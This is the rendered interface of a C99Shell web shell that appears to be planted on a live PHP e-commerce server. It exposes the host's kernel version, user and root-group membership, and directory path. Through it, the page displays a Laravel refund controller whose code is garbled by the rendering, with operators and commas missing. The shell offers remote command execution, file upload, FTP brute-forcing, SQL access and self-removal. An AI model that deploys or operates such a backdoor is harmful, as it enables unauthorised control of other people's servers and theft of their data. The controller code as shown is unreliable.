!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Refund/Http/Controllers/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RefundController.php (3.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package RefundController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 24-02-2022
 */
namespace Modules\Refund\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;


use 
App\Services\Mail\RefundMailService;
use 
Modules\Refund\DataTables\RefundDataTable;
use 
Modules\Refund\Exports\RefundListExport;

use 
Modules\Refund\Entities\{
    
Refund,
    
RefundProcess,
};
use 
App\Http\Controllers\{
    
Controller,
    
EmailController
};
use 
Excel;

class 
RefundController extends Controller
{

    
/**
     * Constructor
     *
     * @param EmailController $email
     */
    
public function __construct(EmailController $email)
    {
        
$this->email $email;
    }

    
/**
     * Refund List
     *
     * @param RefundDataTable $dataTable
     * @return Renderable
     */
    
public function index(RefundDataTable $dataTable)
    {
        return 
$dataTable->render('refund::index');
    }

    
/**
     * Edit Refund
     *
     * @param int $id
     * @return \Illuminate\Routing\Redirector
     */
    
public function edit($id null)
    {
        
$result $this->checkExistence($id'refunds');
        if (
$result['status'] == true) {
            
$data['refund'] = Refund::where('id'$id)->with(['user''orderDetail''refundReason'])->first();
            
$data['refundProcesses'] = RefundProcess::where(['refund_id' => $id])->with(['user'])->get();
            return 
view('refund::edit'$data);
        }

        
$this->setSessionValue(['status' => 'fail''message' => $result['message']]);
        return 
back();
    }

    
/**
     * Update Refund
     *
     * @param Request $request
     * @return \Illuminate\Routing\Redirector
     */
    
public function update(Request $request)
    {
        
$result $this->checkExistence($request->id'refunds');
        if (
$result['status'] === true) {
            
$validator Refund::updateValidation($request->all(), $request->id);
            if (
$validator->fails()) {
                return 
back()->withErrors($validator)->withInput();
            }
            
$response = (new Refund)->updateData($request->all(), $request->id);
            if (
$response['status'] == 'success' && $request->status != 'Opened') {
                (new 
RefundMailService)->send($request);
            }
        } else {
            
$response = ['status' => 'fail''message' => $result['message']];
        }

        
$this->setSessionValue($response);
        return 
redirect()->route('refund.index');
    }

    
/**
     * Shop list pdf
     *
     * @return html static page
     */
    
public function pdf()
    {
        
$data['refunds'] = Refund::getAll();
        return 
printPDF($data'refund_list' time() . '.pdf''refund::pdf'view('refund::pdf'$data), 'pdf');
    }

    
/**
     * Shop list csv
     *
     * @return html static page
     */
    
public function csv()
    {
        return 
Excel::download(new RefundListExport'refund_list' time() . '.csv');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--